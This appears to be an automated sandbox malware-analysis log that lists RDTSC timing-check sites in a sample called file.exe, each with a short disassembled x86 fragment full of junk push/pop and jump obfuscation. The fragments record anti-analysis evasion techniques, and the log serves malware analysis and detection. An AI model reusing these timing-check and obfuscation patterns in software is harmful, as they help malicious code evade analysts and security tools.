Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AEC37 second address: 12AEC3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B7DDC second address: 12B7DFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push esi 0x00000006 pop esi 0x00000007 jg 00007FD2B84F6BF6h 0x0000000d push edi 0x0000000e pop edi 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jne 00007FD2B84F6BFCh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B7DFB second address: 12B7E03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B811E second address: 12B8122 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B8122 second address: 12B8128 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B8298 second address: 12B82A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jl 00007FD2B84F6BFEh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B82A5 second address: 12B82AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BBD4B second address: 12BBD4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BBD4F second address: 12BBDA2 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FD2B8DCB2D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c jl 00007FD2B8DCB2E2h 0x00000012 jl 00007FD2B8DCB2DCh 0x00000018 jns 00007FD2B8DCB2D6h 0x0000001e mov eax, dword ptr [esp+04h] 0x00000022 push eax 0x00000023 jmp 00007FD2B8DCB2DBh 0x00000028 pop eax 0x00000029 mov eax, dword ptr [eax] 0x0000002b pushad 0x0000002c jmp 00007FD2B8DCB2E9h 0x00000031 push eax 0x00000032 push edx 0x00000033 jp 00007FD2B8DCB2D6h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BBE77 second address: 12BBE7D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BBE7D second address: 12BBE82 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BBE82 second address: 12BBE93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jns 00007FD2B84F6BF6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BBE93 second address: 12BBEA7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2B8DCB2DCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BBEA7 second address: 12BBEAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BBEAB second address: 12BBEBE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 pop eax 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BBEBE second address: 12BBEEC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FD2B84F6C04h 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [eax] 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FD2B84F6BFFh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BBFF4 second address: 12BBFF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BBFF8 second address: 12BC00C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e jg 00007FD2B84F6BF6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BC00C second address: 12BC03B instructions: 0x00000000 rdtsc 0x00000002 jns 00007FD2B8DCB2D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b mov eax, dword ptr [eax] 0x0000000d jnc 00007FD2B8DCB2E4h 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 push eax 0x00000018 push edx 0x00000019 jl 00007FD2B8DCB2D8h 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BC03B second address: 10DDAE4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2B84F6C00h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a jmp 00007FD2B84F6BFCh 0x0000000f push dword ptr [ebp+122D0FEDh] 0x00000015 pushad 0x00000016 movsx edi, si 0x00000019 mov bl, DBh 0x0000001b popad 0x0000001c call dword ptr [ebp+122D35F2h] 0x00000022 pushad 0x00000023 sub dword ptr [ebp+122D27AAh], ebx 0x00000029 xor eax, eax 0x0000002b jmp 00007FD2B84F6BFBh 0x00000030 mov edx, dword ptr [esp+28h] 0x00000034 jmp 00007FD2B84F6C01h 0x00000039 mov dword ptr [ebp+122D3806h], eax 0x0000003f jmp 00007FD2B84F6C01h 0x00000044 mov esi, 0000003Ch 0x00000049 jno 00007FD2B84F6BFDh 0x0000004f add esi, dword ptr [esp+24h] 0x00000053 jl 00007FD2B84F6BFDh 0x00000059 ja 00007FD2B84F6BF7h 0x0000005f lodsw 0x00000061 jmp 00007FD2B84F6BFFh 0x00000066 add eax, dword ptr [esp+24h] 0x0000006a jmp 00007FD2B84F6C09h 0x0000006f mov ebx, dword ptr [esp+24h] 0x00000073 add dword ptr [ebp+122D3591h], edi 0x00000079 nop 0x0000007a jo 00007FD2B84F6C02h 0x00000080 jbe 00007FD2B84F6BFCh 0x00000086 jno 00007FD2B84F6BF6h 0x0000008c push eax 0x0000008d push eax 0x0000008e push edx 0x0000008f push eax 0x00000090 push edx 0x00000091 jnl 00007FD2B84F6BF6h 0x00000097 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C1A06 second address: 12C1A1F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FD2B8DCB2E4h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C1A1F second address: 12C1A57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push edi 0x00000007 pop edi 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FD2B84F6BFAh 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 js 00007FD2B84F6C25h 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FD2B84F6C03h 0x0000001f jbe 00007FD2B84F6BF6h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C1A57 second address: 12C1A5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C28FC second address: 12C2901 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C2901 second address: 12C2946 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2B8DCB2E4h 0x00000007 jmp 00007FD2B8DCB2DFh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jne 00007FD2B8DCB2FFh 0x00000014 pushad 0x00000015 jmp 00007FD2B8DCB2E5h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C2AD1 second address: 12C2AD6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C2AD6 second address: 12C2AEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD2B8DCB2DFh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C2AEB second address: 12C2AFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C2AFA second address: 12C2AFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C2AFE second address: 12C2B20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD2B84F6C08h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C2B20 second address: 12C2B35 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2B8DCB2DFh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C2B35 second address: 12C2B3A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C2B3A second address: 12C2B49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C2B49 second address: 12C2B4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C2CA7 second address: 12C2CAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C2CAB second address: 12C2CAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C2CAF second address: 12C2CB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C5BA7 second address: 12C5BD4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD2B84F6C04h 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FD2B84F6BFCh 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C5BD4 second address: 12C5BEF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FD2B8DCB2E5h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C5BEF second address: 12C5C0F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD2B84F6C09h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CB2B3 second address: 12CB2CB instructions: 0x00000000 rdtsc 0x00000002 jng 00007FD2B8DCB2D6h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jbe 00007FD2B8DCB2DCh 0x00000012 jp 00007FD2B8DCB2D6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CB6BB second address: 12CB6DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FD2B84F6C02h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jng 00007FD2B84F6BF6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CB6DC second address: 12CB6E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CB812 second address: 12CB81C instructions: 0x00000000 rdtsc 0x00000002 jc 00007FD2B84F6BF6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CB81C second address: 12CB822 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CB822 second address: 12CB828 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CB828 second address: 12CB82C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CBABD second address: 12CBAC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FD2B84F6BF6h 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CBAC8 second address: 12CBAD3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007FD2B8DCB2D6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CBAD3 second address: 12CBAD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CBFB8 second address: 12CBFDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 ja 00007FD2B8DCB2DCh 0x0000000b jbe 00007FD2B8DCB2E9h 0x00000011 jmp 00007FD2B8DCB2DDh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1278CF9 second address: 1278D03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push edx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CC6EE second address: 12CC6F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CC6F4 second address: 12CC6F9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D1615 second address: 12D163B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD2B8DCB2E8h 0x00000009 popad 0x0000000a push ebx 0x0000000b push edi 0x0000000c push edi 0x0000000d pop edi 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D163B second address: 12D164A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD2B84F6BFBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D164A second address: 12D164E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D040B second address: 12D042F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FD2B84F6BFFh 0x0000000e jns 00007FD2B84F6BFCh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D042F second address: 12D0434 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D0434 second address: 12D0440 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FD2B84F6BF6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D0440 second address: 12D0449 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D0449 second address: 12D044D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D044D second address: 12D0453 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1293B8B second address: 1278193 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push edx 0x0000000c call 00007FD2B84F6BF8h 0x00000011 pop edx 0x00000012 mov dword ptr [esp+04h], edx 0x00000016 add dword ptr [esp+04h], 0000001Ah 0x0000001e inc edx 0x0000001f push edx 0x00000020 ret 0x00000021 pop edx 0x00000022 ret 0x00000023 call dword ptr [ebp+122D355Eh] 0x00000029 push eax 0x0000002a push edx 0x0000002b jl 00007FD2B84F6BF8h 0x00000031 pushad 0x00000032 popad 0x00000033 jmp 00007FD2B84F6BFEh 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1293CAE second address: 1293CB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FD2B8DCB2D6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12941F3 second address: 12942BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2B84F6C09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b pushad 0x0000000c jmp 00007FD2B84F6BFCh 0x00000011 jno 00007FD2B84F6BFCh 0x00000017 popad 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c pushad 0x0000001d jng 00007FD2B84F6C06h 0x00000023 jmp 00007FD2B84F6C00h 0x00000028 push esi 0x00000029 pushad 0x0000002a popad 0x0000002b pop esi 0x0000002c popad 0x0000002d pop eax 0x0000002e pushad 0x0000002f or cx, 8B08h 0x00000034 mov dx, ax 0x00000037 popad 0x00000038 call 00007FD2B84F6BF9h 0x0000003d push edi 0x0000003e jmp 00007FD2B84F6C08h 0x00000043 pop edi 0x00000044 push eax 0x00000045 push esi 0x00000046 jmp 00007FD2B84F6C00h 0x0000004b pop esi 0x0000004c mov eax, dword ptr [esp+04h] 0x00000050 pushad 0x00000051 jne 00007FD2B84F6BFCh 0x00000057 ja 00007FD2B84F6BFCh 0x0000005d popad 0x0000005e mov eax, dword ptr [eax] 0x00000060 push ecx 0x00000061 push eax 0x00000062 push edx 0x00000063 jmp 00007FD2B84F6BFCh 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12943F5 second address: 12943F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12943F9 second address: 1294409 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FD2B84F6BF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1294409 second address: 129444A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007FD2B8DCB2E5h 0x0000000d popad 0x0000000e popad 0x0000000f xchg eax, esi 0x00000010 mov ecx, dword ptr [ebp+122D36FAh] 0x00000016 nop 0x00000017 push eax 0x00000018 jmp 00007FD2B8DCB2DEh 0x0000001d pop eax 0x0000001e push eax 0x0000001f push eax 0x00000020 jc 00007FD2B8DCB2DCh 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12945C9 second address: 12945CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12946E8 second address: 12946EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12946EC second address: 12946F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12946F2 second address: 1294777 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2B8DCB2E6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push ecx 0x0000000f call 00007FD2B8DCB2D8h 0x00000014 pop ecx 0x00000015 mov dword ptr [esp+04h], ecx 0x00000019 add dword ptr [esp+04h], 00000014h 0x00000021 inc ecx 0x00000022 push ecx 0x00000023 ret 0x00000024 pop ecx 0x00000025 ret 0x00000026 jmp 00007FD2B8DCB2DAh 0x0000002b jc 00007FD2B8DCB2DCh 0x00000031 adc ecx, 2D1F424Fh 0x00000037 push 00000004h 0x00000039 pushad 0x0000003a call 00007FD2B8DCB2E1h 0x0000003f add cx, 711Ch 0x00000044 pop esi 0x00000045 jmp 00007FD2B8DCB2E1h 0x0000004a popad 0x0000004b nop 0x0000004c push ecx 0x0000004d push eax 0x0000004e push edx 0x0000004f jp 00007FD2B8DCB2D6h 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1294777 second address: 129477B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129477B second address: 1294796 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FD2B8DCB2E1h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1294796 second address: 12947A0 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FD2B84F6BFCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1294B15 second address: 1294B24 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2B8DCB2DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1294B24 second address: 1294B78 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007FD2B84F6BF6h 0x00000009 jno 00007FD2B84F6BF6h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 jmp 00007FD2B84F6BFDh 0x00000018 nop 0x00000019 mov dword ptr [ebp+12488F6Eh], esi 0x0000001f push 0000001Eh 0x00000021 pushad 0x00000022 je 00007FD2B84F6BF9h 0x00000028 call 00007FD2B84F6BFDh 0x0000002d pop ecx 0x0000002e popad 0x0000002f nop 0x00000030 jns 00007FD2B84F6BFCh 0x00000036 push eax 0x00000037 pushad 0x00000038 push ecx 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1294B78 second address: 1294B85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jc 00007FD2B8DCB2DCh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1294DEA second address: 1294DEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1294DEE second address: 1294E15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD2B8DCB2E9h 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push edx 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1294E15 second address: 1294E1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
